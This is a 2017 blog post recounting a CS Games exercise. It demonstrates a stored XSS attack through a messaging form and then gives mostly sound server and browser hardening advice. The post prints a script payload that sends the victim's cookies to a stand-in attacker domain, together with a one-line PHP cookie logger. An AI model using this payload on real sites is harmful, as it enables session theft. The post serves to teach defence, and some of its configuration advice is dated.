close menu

Gimme your cookies! A basic XSS attack demo


26 March 2017


Cross-site Scripting (XSS)

This past weekend, I attended the 2017 annual CS Games to compete in a series of programming challenges with schools from across North America. These challenges produced some of the worst code I have ever written, forced me out of my comfort zone, and taught me a lot things. They also deliberately exposed me to terrible code which I was expected to understand, reverse engineer, debug, and attack. I don't pretend to be an expert at any of these things, but with such a huge focus on the web, I thought it would important to write up something about security.

Let's say that you're a web developer and you think that, with your knowledge of JavaScript, your Node server, and your set of XYZ frameworks with n-dependencies, you've built an incontestable, impenetrable fortress of a web application that will take the world by storm.

Unfortunately, it seems that a lot of developers seem to forget to ask themselves the following question: is my site secure? They fail to consider their attack surface, possible vulnerabilities for their clients, and possible vulnerabilities in their server configurations. They mistakenly assume security, despite not having put any effort into researching the subject.

At CS Games, we were given a fake web application running on the competition's intranet and tasked with gaining unauthorized access to the app via leverageable accounts with the goal of stealing information from the fake CEO of a company. It became apparent fairly quickly that the site was vulnerable to XSS attacks, and so my teammate and I got to work at stealing some very tasty cookies. The attack we used is really unsophisticated, and outlined below.

A Simple XSS Attack

NOTE: The following content is written solely for educational and demonstrative purposes, using fake domain names, and loud redirects to show how an unobvious vulnerability might be leveraged. This information is provided for reference so that a hypothetical web developer/system administrator may better under how an attack is executed, such that mitigation and defence strategies may be implemented.

This attack was made possible by two things:

  1. Unsanitized user input
  2. Improper server configuration

Consider a messaging system between users, where the context of a message may contain malicious JavaScript which is executed in the message recipient's browser on load of the web page.

To obtain session cookies which may reveal a lot of information about another user, all an attacker needs is a VPS, a domain name, 5 lines of JavaScript, and 1 line of PHP.

<script></script> tags are not displayed in a browser, but may be injected anywhere into a webpage. By leveraging a vulnerable messaging system, for instance, a malicious user might send the following message body:

Ha! U R hack!!! xD
<script>
    setTimeout(
        function(){
            document.location='http://urcookiesrmi.ne/index.php?var='+document.cookie;
        },
    1000;);
<script/>

The message would render as "Ha! U R hack!!! xD" in the recipient's browser, then once the script has executed on-load, they would be redirected to an offsite PHP-application that steals their cookies. This is done with a loud redirect for demonstrative purposes, but could be done much more silently so that the recipient would be unaware of what happened.

Offsite, in index.php, there might be something like the following:

<?php file_put_contents("cookies.txt", $_GET['var']."\n", FILE_APPEND)?>

When the target of the attack visits the PHP script unknowingly, they hand off all the cookies that their browser had set for the original website they were redirected away from, and the cookies are stored on one line in cookies.txt on the attacker's server.

From here, the attacker may use more sophisticated means to spoof session IDs, etc. in an attempt to gain more control.

Defending Yourself from Bad Developers (Client-side Defences)

If you think you may be a target, or if you would prefer to restrict script execution to only scripts that you explicitly allow, I would recommend either disabling JavaScript in your browser settings, or installing a suite of browser extensions that includes NoScript and PrivacyBadger (both available for Firefox and Chromium).

Only connect to web sites that are secured with HTTPS. These sites are more likely to be configured correctly to prevent XSS and other types of attacks.

https

Disable third party cookies on websites. This will prevent offsite third-party scripts from setting cookies which can be accessed, read, and written from multiple web applications and scripts.

Cookie Settings in Chrome and Chromium-based browsers

Defending your Application from Bad Clients (Server-side Defences)

How do I secure my server?
It's no easy task. The Debian Organization maintains a lengthy document covering how you can secure Debian-based machines.

In general however, there are two main things you need to secure your web app, as I mentioned before:

  1. Input validation and sanitization
  2. Proper configuration of your web server (follow OWASP recommendations)

Input validation

The first is easy enough, you can use whichever tools you want on the client-side to restrict certain input. This is both good for the health of your application, and good for user experience. If you're writing a form for instance, forbidding the submittal of certain strings, enforcing certain patterns, and providing visual feedback where there are errors will guide the user in the correct direction. Client-side validation isn't enough though, because advanced users might use utilities like cURL and related programs to by-pass this.

Server-side, you should be encoding all strings that you receive. All of them. You should never trust your users. Encoding means that you need to replace meaningful characters like < and > with the HTML escape codes &lt; and &gt; among other special characters.

You should also consider discarding dangerous substrings from user input, though this comes at the expense of user experience. Encoding strings and making sure that they can never be used to execute arbitrary code client-side or server-side is extremely important. There are many ways you can do this, ranging from simple regular expressions to complex JavaScript libraries. I'll leave that up to you.

Web server configuration

Once you've set up proper input validation and sanitization, you need to look at how your web-server behaves. I'm going to talk about Nginx in this post, because I despise Apache's syntax, but you can find similar guides if you use any other web server. If you don't currently use a proper web server, because your Node/Express app or whatever sets up its own server, you should still consider using Nginx as a reverse proxy for security purposes.

Setting up a reverse proxy is trivial, and your server block might look something like the following in /etc/nginx/sites-available/your.website:

server {
    listen 443;
    server_name your.website;

    ssl on; # please for the love of god use ssl
    ssl_certificate /path/to/cert.pem; # you can get a free cert from LetsEncrypt!
    ssl_certificate_key /path/to/privkey.pem;

    location / {
        proxy_pass http://localhost:3000; # or whatever port your app runs on
    }
}

Now assuming you have Nginx installed and you're using to either serve a website, or as a reverse proxy, there are a few things you should take a look at in /etc/nginx/nginx.conf. Namely, you should enable HTTP Strict Transport Security (HSTS), prevent buffer overflow vulnerabilities, and only allow content from the SAMEORIGIN.

Consider the following example http block in an Nginx configuration, which is set to follow OWASP recommendations:

http {
    # Buffer overflow protection
    # configure these limits based on application needs
    client_body_buffer_size 100K;
    client_header_buffer_size 1K;
    client_max_body_size 100K;
    large_client_header_buffers 2 1K;

    # Hide web server version from potential attackers
    # note that security through obsurity is not security; however, obscuring things from
    # attackers increases the amount of guess-work they have to do to crack your security!
    server_tokens off;

    # HTTPS configuration applying to all server blocks, because you really do need Secure HTTP!
    server {
        # disabled SSLv3 due to known SSL vulnerabilities
        ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
        ssl_prefer_server_ciphers_on;
        # disabled insecure cipher suites, strictly enforce secure list
        ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';
    }

    # Lastly, secure HTTP headers
    add_header X-Frame-Options SAMEORIGIN; # prevent click-jacking
    add_header X-XSS-Protection "1; mode=block"; # enables XSS filter!
    add_header Strict-Transport-Security "max-age=31536000; includeSubdomains;"; # HSTS
}

You should note that this configuration enforces HTTPS connections, once they have been established by a client (a client will refuse to connect if an insecure site is served), and filters to prevent cross-site content and content from different origins from being loaded.

Using strong encryption suites in HTTPS connections, and setting these headers should significantly improve the safety of all client connections and prevent malicious client-side behaviour. These settings should help mitigate XSS and other types of attacks, but ultimately you should be writing safe code with security-first practises if you want anything to do with this patchwork network we call the Internet.

TL;DR Security first!!

To conclude, too often does one see information security as an after thought. In a time when nefarious cracking techniques are becoming more advanced, and more and more people are building the "Next Greatest Thing", we really need to be making sure we follow best practises, and build excellent designs from the beginning.

Before you start pulling in hundreds of needless dependencies, or you choose to implement a feature in your application, consider the security implications, potential vulnerabilities, and make sure you're handling user data in a manner that is safe for everyone. This includes all data processing, encoding schemes, storage and retrieval methods, and content delivery systems.

Anyone can write a web app, but not everyone can write a good one — and you certainly don't want to be dealing with a buggy, security hole-ridden product down the line.